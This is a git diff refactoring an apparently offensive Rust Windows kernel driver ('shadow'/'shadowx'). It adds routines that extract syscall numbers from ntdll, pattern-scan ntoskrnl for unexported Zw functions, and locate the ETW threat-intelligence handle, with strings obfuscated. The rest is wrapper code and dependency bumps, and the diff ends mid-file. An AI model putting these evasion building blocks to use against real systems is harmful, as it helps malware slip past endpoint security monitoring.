ptr::{null_mut, read}, + slice::from_raw_parts, + ffi::c_void }, - wdk_sys::{ - ntddk::{ - ZwClose, ZwMapViewOfSection, ZwOpenSection, - ZwUnmapViewOfSection - }, - LARGE_INTEGER, OBJ_CASE_INSENSITIVE, PAGE_READONLY, - SECTION_MAP_READ, SECTION_QUERY, _SECTION_INHERIT::ViewUnmap, - NT_SUCCESS + super::{ + address::get_module_base_address, + InitializeObjectAttributes, }, winapi::um::winnt::{ IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER - }, + } }; +/// Scans memory for a specific pattern of bytes in a specific section. +/// +/// # Arguments +/// +/// * `function_address` - The base address (in `usize` format) from which the scan should start. +/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. +/// * `offset` - Offset from the pattern position where the i32 value starts. +/// * `final_offset` - The final offset applied to the resulting address. +/// * `size` - The size of the memory to scan. +/// +/// # Returns +/// +/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32. +/// * `Err(ShadowError)` - Error if pattern not found or conversion fails. +pub unsafe fn scan_for_pattern( + function_address: *mut c_void, + pattern: &[u8], + offset: usize, + final_offset: isize, + size: usize, +) -> Result<*mut u8, ShadowError> { + let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size); + + if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) { + let position = x + offset; + + // Converting the slice starting at the position to i32 (little-endian) + let offset_bytes = &function_bytes[position..position + 4]; + let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?); + + // Calculating the final address + let address = function_address.cast::().add(x); + let next_address = address.offset(final_offset); + + // Returning the final address adjusted by the found offset + Ok(next_address.offset(offset as isize)) + } else { + Err(ShadowError::PatternNotFound) + } +} + +/// Retrieves the syscall index for a given function name. +/// +/// This function loads the `ntdll.dll` section and maps its export table to find the specified function. +/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code. +/// +/// # Arguments +/// +/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index. +/// +/// # Returns +/// +/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found. +/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails. +pub unsafe fn get_syscall_index(function_name: &str) -> Result { + let mut section_handle = null_mut(); + let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll")); + let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); + let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwOpenSection", status)) + } + + // Map ntdll.dll to memory and retrieve the address + let mut large: LARGE_INTEGER = core::mem::zeroed(); + let mut ntdll_addr = null_mut(); + let mut view_size = 0; + status = ZwMapViewOfSection( + section_handle, + 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, + &mut ntdll_addr, + 0, + 0, + &mut large, + &mut view_size, + ViewUnmap, + 0, + PAGE_READONLY, + ); + if !NT_SUCCESS(status) { + ZwClose(section_handle); + return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status)); + } + + // Locate export directory, names, and functions for syscall extraction + let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER; + let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + let ntdll_addr = ntdll_addr as usize; + let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; + let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,); + let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); + let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); + + // Search for the function by name and extract the syscall number (SSN) + for i in 0..(*export_directory).NumberOfNames as isize { + let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8) + .to_str() + .map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?; + + let ordinal = ordinals[i as usize] as usize; + let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; + if name == function_name && read(address) == 0x4C + && read(address.add(1)) == 0x8B + && read(address.add(2)) == 0xD1 + && read(address.add(3)) == 0xB8 + && read(address.add(6)) == 0x00 + && read(address.add(7)) == 0x00 + { + let high = read(address.add(5)) as u16; + let low = read(address.add(4)) as u16; + let ssn = (high << 8) | low; + + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + return Ok(ssn); + } + } + + // Cleanup + ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); + ZwClose(section_handle); + + Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!())) +} + +/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section. +/// +/// # Arguments +/// +/// * `name` - The name of the Zw function to find. +/// +/// # Returns +/// +/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found. +/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs. +/// It should be used with caution in kernel mode to prevent system instability. +pub unsafe fn find_zw_function(name: &str) -> Result { + let ssn = get_syscall_index(name)?; + let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?; + + let ssn_bytes = ssn.to_le_bytes(); + ZW_PATTERN[21] = ssn_bytes[0]; + ZW_PATTERN[22] = ssn_bytes[1]; + + let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; + let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; + let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; + + // Scan the `.text` section for the matching pattern + for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { + let section = (*section_header.add(i)).Name; + let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); + + if name == obfstr!(".text") { + let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; + let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; + let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); + + // Search for the Zw function by matching the pattern + if let Some(offset) = data.windows(ZW_PATTERN.len()) + .position(|window| { + window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p) + }) { + + return Ok(text_start + offset); + } + } + } + + Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!())) +} /// The `ETWTI_PATTERN` represents a sequence of machine instructions used for /// identifying the location of the `EtwThreatIntProvRegHandle` in memory. @@ -45,188 +216,3 @@ pub static mut ZW_PATTERN: [u8; 30] = [ 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, 0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal ]; - -/// Converts a slice of bytes into a number or custom type using a provided conversion function. -/// -/// This function takes a byte slice of length `N`, verifies that its length matches the expected size, -/// and then converts it into a fixed-size array of `N` bytes. The resulting array is passed to the -/// provided conversion function (`func`), which returns a value of type `T`. -/// -/// # Arguments -/// -/// - `slice`: A reference to a byte slice (`&[u8]`) that is expected to have exactly `N` bytes. -/// - `func`: A function that takes an array of `N` bytes (`[u8; N]`) and returns a value of type `T`. -/// -/// # Returns -/// -/// - `Ok(T)`: The result of the conversion function if the slice has the correct length. -/// - `Err(&'static str)`: An error message if the slice length does not match `N`. -/// -fn slice_to_number(slice: &[u8], func: fn([u8; N]) -> T) -> Result { - if slice.len() != N { - return Err("Slice length mismatch"); - } - - // Converts the slice to an array of N bytes - let array: [u8; N] = slice.try_into().map_err(|_| "Slice length mismatch")?; - - // Converts the byte array to the desired type - Ok(func(array)) -} - -/// Scans memory for a specific pattern of bytes in a specific section. -/// -/// # Arguments -/// -/// - `base_addr`: The base address (in `usize` format) from which the scan should start. -/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan. -/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. -/// -/// # Returns -/// -/// - `Option<*const u8>`: The address of the target function if found. -/// -pub unsafe fn scan_for_pattern( - function_address: *mut c_void, - pattern: &[u8], - offset: usize, - final_offset: isize, - size: usize, - func: fn([u8; N]) -> T, -) -> Option<*mut u8> -where - T: Into, -{ - let function_bytes = from_raw_parts(function_address as *const u8, size); - - if let Some(x) = function_bytes.windows(pattern.len()).position(|x| x == pattern) { - let position = x + offset; - let offset: T = slice_to_number(&function_bytes[position..position + N], func).ok()?; - - let address = function_address.cast::().offset(x as isize); - let next_address = address.offset(final_offset); - Some(next_address.offset(offset.into() as isize)) - } else { - None - } -} - -/// Finds the address of a specified Zw function. -/// -/// # Arguments -/// -/// - `name`: The name of the Zw function to find. -/// -/// # Returns -/// -/// - `Option`: The address of the Zw function if found, or `None` if an error occurs or the function is not found. -/// -pub unsafe fn find_zw_function(name: &str) -> Option { - let ssn = get_syscall_index(name)?; - let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?; - - let ssn_bytes = ssn.to_le_bytes(); - ZW_PATTERN[21] = ssn_bytes[0]; - ZW_PATTERN[22] = ssn_bytes[1]; - - let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; - - for i in 0..(*nt_header).FileHeader.NumberOfSections as usize { - let section = (*section_header.add(i)).Name; - let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); - - if name == obfstr!(".text") { - let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; - let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize; - let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); - - if let Some(offset) = data.windows(ZW_PATTERN.len()) - .position(|window| { - window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p) - }) { - - return Some(text_start + offset); - } - } - } - - None -} - -/// Retrieves the syscall index for a given function name. -/// -/// # Arguments -/// -/// - `function_name`: The name of the function to retrieve the syscall index for. -/// -/// # Returns -/// -/// - `Option`: The syscall index if found, or `None` if an error occurs or the function is not found. -/// -pub unsafe fn get_syscall_index(function_name: &str) -> Option { - let mut section_handle = null_mut(); - let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll")); - let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None); - let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr); - if !NT_SUCCESS(status) { - log::error!("ZwOpenSection Failed With Status: {status}"); - return None - } - - let mut large: LARGE_INTEGER = zeroed(); - let mut ntdll_addr = null_mut(); - let mut view_size = 0; - status = ZwMapViewOfSection( - section_handle, - 0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void, - &mut ntdll_addr, - 0, - 0, - &mut large, - &mut view_size, - ViewUnmap, - 0, - PAGE_READONLY, - ); - if !NT_SUCCESS(status) { - log::error!("ZwMapViewOfSection Failed With Status: {status}"); - ZwClose(section_handle); - return None - } - - let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64; - - let ntdll_addr = ntdll_addr as usize; - let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY; - let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,); - let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,); - let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _); - - for i in 0..(*export_directory).NumberOfNames as isize { - let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?; - let ordinal = ordinals[i as usize] as usize; - let address = (ntdll_addr + functions[ordinal] as usize) as *const u8; - if name == function_name && read(address) == 0x4C - && read(address.add(1)) == 0x8B - && read(address.add(2)) == 0xD1 - && read(address.add(3)) == 0xB8 - && read(address.add(6)) == 0x00 - && read(address.add(7)) == 0x00 - { - let high = read(address.add(5)) as u16; - let low = read(address.add(4)) as u16; - let ssn = (high << 8) | low; - - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - return Some(ssn); - } - } - - ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void); - ZwClose(section_handle); - None -} \ No newline at end of file diff --git a/driver/src/utils/pool.rs b/crates/shadowx/src/utils/pool.rs similarity index 62% rename from driver/src/utils/pool.rs rename to crates/shadowx/src/utils/pool.rs index c9adbcb..4e79f6f 100644 --- a/driver/src/utils/pool.rs +++ b/crates/shadowx/src/utils/pool.rs @@ -6,7 +6,6 @@ use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS}; /// This struct provides a safe abstraction over memory allocated from the kernel pool. /// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out /// of scope, by calling `ExFreePool` in its `Drop` implementation. -/// pub struct PoolMemory { /// A raw pointer to the allocated pool memory. pub ptr: *mut c_void, @@ -20,23 +19,32 @@ impl PoolMemory { /// /// # Arguments /// - /// - `flag`: Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. - /// - `number_of_bytes`: The size of the memory block to allocate, in bytes. - /// - `tag`: A tag (typically a 4-character identifier) used to identify the allocation. + /// * `flag` - Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. This determines + /// characteristics such as whether the memory is paged or non-paged. + /// * `number_of_bytes` - The size of the memory block to allocate, in bytes. + /// * `tag` - A tag (typically a 4-character identifier) used to identify the allocation in kernel memory tracking. /// /// # Returns /// - /// - `Option`: `Some(PoolMemory)` if the memory is successfully allocated, or `None` if the allocation fails. - /// + /// * `Some` - If the memory allocation is successful, an instance of `PoolMemory` is returned to manage the memory. + /// * `None` - If the memory allocation fails, indicating insufficient memory or other issues. + /// + /// # Examples + /// ```rust + /// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, u32::from_be_bytes(*b"tag")); + /// if let Some(mem) = pool_mem { + /// // Use allocated memory... + /// } else { + /// println!("Memory allocation failed"); + /// } + /// ``` #[inline] pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option { let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) }; if ptr.is_null() { None } else { - Some(PoolMemory { - ptr, - }) + Some(Self { ptr }) } } } diff --git a/driver/src/utils/process_attach.rs b/crates/shadowx/src/utils/process_attach.rs similarity index 92% rename from driver/src/utils/process_attach.rs rename to crates/shadowx/src/utils/process_attach.rs index f77be05..aaa90e7 100644 --- a/driver/src/utils/process_attach.rs +++ b/crates/shadowx/src/utils/process_attach.rs @@ -8,7 +8,6 @@ use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, /// /// When a `ProcessAttach` instance is dropped, it will automatically detach from the process /// if still attached. -/// pub struct ProcessAttach { /// The APC (Asynchronous Procedure Call) state used to manage process attachment. apc_state: KAPC_STATE, @@ -25,12 +24,11 @@ impl ProcessAttach { /// /// # Arguments /// - /// - `target_process`: A pointer to the target process (`PRKPROCESS`) to attach to. + /// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to. /// /// # Returns /// - /// - `ProcessAttach`: A new `ProcessAttach` instance representing the attached process context. - /// + /// * A new `ProcessAttach` instance representing the attached process context. #[inline] pub fn new(target_process: PRKPROCESS) -> Self { let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() }; @@ -49,7 +47,6 @@ impl ProcessAttach { /// /// This method can be called to explicitly detach the current thread from the target process's /// address space, if it was previously attached. - /// #[inline] pub fn detach(&mut self) { if self.attached { diff --git a/crates/shadowx/src/utils/uni.rs b/crates/shadowx/src/utils/uni.rs new file mode 100644 index 0000000..c5e77fe --- /dev/null +++ b/crates/shadowx/src/utils/uni.rs @@ -0,0 +1,64 @@ +use alloc::vec::Vec; +use wdk_sys::UNICODE_STRING; + +/// A wrapper around a `Vec` representing a Unicode string. +/// +/// This struct encapsulates a Unicode string, stored as a `Vec`, that is compatible +/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly +/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`. +#[derive(Default)] +pub struct OwnedUnicodeString { + /// The internal buffer holding the wide (UTF-16) string, including the null terminator. + buffer: Vec, + /// A marker to indicate that this struct cannot be moved once pinned. + /// This ensures that the memory address of the buffer remains valid for the lifetime of the + /// `UNICODE_STRING`. + _phantompinned: core::marker::PhantomPinned, +} + +impl OwnedUnicodeString { + /// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs. + /// + /// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`. + /// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent + /// the size of the string (in bytes) excluding and including the null terminator, respectively. + /// + /// # Returns + /// + /// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`. + pub fn to_unicode(&self) -> UNICODE_STRING { + // The length is the size of the string in bytes, excluding the null terminator. + // MaximumLength includes the null terminator. + UNICODE_STRING { + Length: ((self.buffer.len() * size_of::()) - 2) as u16, + MaximumLength: (self.buffer.len() * size_of::()) as u16, + Buffer: self.buffer.as_ptr() as *mut u16, + } + } +} + +/// Converts a Rust `&str` to an `OwnedUnicodeString`. +/// +/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it +/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`, +/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs. +/// +/// # Arguments +/// +/// * `str` - A reference to the Rust string slice to be converted. +/// +/// # Returns +/// +/// * `OwnedUnicodeString` - A structure containing the wide (UTF-16) representation of the input string. +pub fn str_to_unicode(str: &str) -> OwnedUnicodeString { + // Convert the rust string to a wide string + let mut wide_string: Vec = str.encode_utf16().collect(); + + // Null terminate the string + wide_string.push(0); + + OwnedUnicodeString { + buffer: wide_string, + _phantompinned: core::marker::PhantomPinned, + } +} diff --git a/driver/Cargo.lock b/driver/Cargo.lock index f7ccede..80eb882 100644 --- a/driver/Cargo.lock +++ b/driver/Cargo.lock @@ -86,15 +86,15 @@ checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6" [[package]] name = "autocfg" -version = "1.3.0" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" [[package]] name = "bindgen" -version = "0.69.4" +version = "0.69.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a00dc851838a2120612785d195287475a3ac45514741da670b735818822129a0" +checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088" dependencies = [ "bitflags", "cexpr", @@ -109,15 +109,15 @@ dependencies = [ "regex", "rustc-hash", "shlex", - "syn", + "syn 2.0.79", "which", ] [[package]] name = "bitfield" -version = "0.15.0" +version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c821a6e124197eb56d907ccc2188eab1038fb919c914f47976e64dd8dbc855d1" +checksum = "f798d2d157e547aa99aab0967df39edd0b70307312b6f8bd2848e6abe40896e0" [[package]] name = "bitflags" @@ -159,9 +159,9 @@ dependencies = [ [[package]] name = "cc" -version = "1.1.21" +version = "1.1.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07b1695e2c7e8fc85310cde85aeaab7e3097f593c91d209d3f9df76c928100f0" +checksum = "b16803a61b81d9eabb7eae2588776c4c1e584b738ede45fdbb4c972cec1e9945" dependencies = [ "shlex", ] @@ -194,9 +194,9 @@ dependencies = [ [[package]] name = "clap" -version = "4.5.18" +version = "4.5.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0956a43b323ac1afaffc053ed5c4b7c1f1800bacd1683c353aabbb752515dd3" +checksum = "b97f376d85a664d5837dbae44bf546e6477a679ff6610010f17276f686d867e8" dependencies = [ "clap_builder", "clap_derive", @@ -214,9 +214,9 @@ dependencies = [ [[package]] name = "clap_builder" -version = "4.5.18" +version = "4.5.20" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d72166dd41634086d5803a47eb71ae740e61d84709c36f3c34110173db3961b" +checksum = "19bc80abd44e4bed93ca373a0704ccbd1b710dc5749406201bb018272808dc54" dependencies = [ "anstream", "anstyle", @@ -233,7 +233,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -248,6 +248,14 @@ version = "1.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d3fd119d74b830634cea2a0f58bbd0d54540518a14397557951e79340abc28c0" +[[package]] +name = "common" +version = "0.1.0" +dependencies = [ + "ntapi", + "windows-sys", +] + [[package]] name = "either" version = "1.13.0" @@ -396,9 +404,9 @@ checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" [[package]] name = "microseh" -version = "1.0.3" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e43c1dba6ea375d37496bcf6172da811d766dd71f84ea70c419c712dd2d1ac9" +checksum = "434c4ca971bcd27ed5c8bf9a2e24aa9fcb9affc2e67696b44a80b98f3b46a015" dependencies = [ "cc", ] @@ -440,15 +448,15 @@ dependencies = [ [[package]] name = "obfstr" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3ba2979b86cc910a6d13837ef97fef0c6b68fa807c5e014d622449db18351dc" +checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" [[package]] name = "once_cell" -version = "1.19.0" +version = "1.20.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" [[package]] name = "overload" @@ -469,14 +477,14 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "479cf940fbbb3426c32c5d5176f62ad57549a0bb84773423ba8be9d089f5faba" dependencies = [ "proc-macro2", - "syn", + "syn 2.0.79", ] [[package]] name = "proc-macro2" -version = "1.0.86" +version = "1.0.87" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77" +checksum = "b3e4daa0dcf6feba26f985457cdf104d4b4256fc5a09547140f3631bb076b19a" dependencies = [ "unicode-ident", ] @@ -492,14 +500,14 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.6" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619" +checksum = "38200e5ee88914975b69f657f0801b6f6dccafd44fd9326302a4aaeecfacb1d8" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.7", - "regex-syntax 0.8.4", + "regex-automata 0.4.8", + "regex-syntax 0.8.5", ] [[package]] @@ -513,13 +521,13 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.7" +version = "0.4.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df" +checksum = "368758f23274712b504848e9d5a6f010445cc8b87a7cdb4d7cbee666c1288da3" dependencies = [ "aho-corasick", "memchr", - "regex-syntax 0.8.4", + "regex-syntax 0.8.5", ] [[package]] @@ -530,9 +538,9 @@ checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" [[package]] name = "regex-syntax" -version = "0.8.4" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" [[package]] name = "rustc-hash" @@ -597,7 +605,7 @@ checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -616,19 +624,36 @@ dependencies = [ name = "shadow" version = "0.1.0" dependencies = [ - "bitfield", + "common", "hashbrown", "kernel-log", "lazy_static", "log", + "ntapi", + "obfstr", + "shadowx", + "spin", + "wdk-alloc", + "wdk-build", + "wdk-panic", + "wdk-sys", + "winapi", +] + +[[package]] +name = "shadowx" +version = "0.1.0" +dependencies = [ + "bitfield", + "common", + "log", "microseh", "ntapi", "obfstr", - "shared", "spin", + "thiserror-no-std", "wdk", "wdk-alloc", - "wdk-build", "wdk-panic", "wdk-sys", "winapi", @@ -643,14 +668,6 @@ dependencies = [ "lazy_static", ] -[[package]] -name = "shared" -version = "0.1.0" -dependencies = [ - "ntapi", - "windows-sys", -] - [[package]] name = "shlex" version = "1.3.0" @@ -680,9 +697,20 @@ checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" [[package]] name = "syn" -version = "2.0.77" +version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.79" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590" dependencies = [ "proc-macro2", "quote", @@ -706,7 +734,27 @@ checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", +] + +[[package]] +name = "thiserror-impl-no-std" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "58e6318948b519ba6dc2b442a6d0b904ebfb8d411a3ad3e07843615a72249758" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "thiserror-no-std" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3ad459d94dd517257cc96add8a43190ee620011bb6e6cdc82dafd97dfafafea" +dependencies = [ + "thiserror-impl-no-std", ] [[package]] @@ -837,7 +885,7 @@ dependencies = [ "cfg-if", "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] [[package]] @@ -1005,5 +1053,5 @@ checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.79", ] diff --git a/driver/Cargo.toml b/driver/Cargo.toml index b57874c..9dbd85f 100644 --- a/driver/Cargo.toml +++ b/driver/Cargo.toml @@ -7,21 +7,20 @@ edition = "2021" crate-type = ["cdylib"] [dependencies] -wdk = "0.2.0" wdk-alloc = "0.2.0" wdk-panic = "0.2.0" wdk-sys = "0.2.0" winapi = "0.3.9" ntapi = { version = "0.4.1", default-features = false } -shared = { path = "../shared" } + log = "0.4.21" -kernel-log = "0.1.3" -obfstr = "0.4.3" spin = "0.9.8" -lazy_static = "1.5.0" -bitfield = "0.15.0" +obfstr = "0.4.3" +kernel-log = "0.1.3" hashbrown = "0.14.5" -microseh = { version = "1.0.3", default-features = false} +lazy_static = "1.5.0" +common = { path = "../crates/common" } +shadowx = { path = "../crates/shadowx" } [build-dependencies] wdk-build = "0.2.0" diff --git a/driver/Makefile.toml b/driver/Makefile.toml index 0127e6d..7c37a25 100644 --- a/driver/Makefile.toml +++ b/driver/Makefile.toml @@ -1,8 +1,5 @@ extend = "target/rust-driver-makefile.toml" -[env] -CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true - [config] load_script = ''' #!@rust diff --git a/driver/build.rs b/driver/build.rs index 70ebd5c..5933d9d 100644 --- a/driver/build.rs +++ b/driver/build.rs @@ -3,4 +3,4 @@ fn main() -> Result<(), wdk_build::ConfigError> { config.driver_config = wdk_build::DriverConfig::WDM(); config.configure_binary_build(); Ok(()) -} +} \ No newline at end of file diff --git a/driver/src/callback/callbacks/mod.rs b/driver/src/callback/callbacks/mod.rs deleted file mode 100644 index c82e133..0000000 --- a/driver/src/callback/callbacks/mod.rs +++ /dev/null @@ -1,3 +0,0 @@ -pub mod notify_routine; -pub mod object; -pub mod registry; \ No newline at end of file diff --git a/driver/src/callback/callbacks/notify_routine.rs b/driver/src/callback/callbacks/notify_routine.rs deleted file mode 100644 index 1382dca..0000000 --- 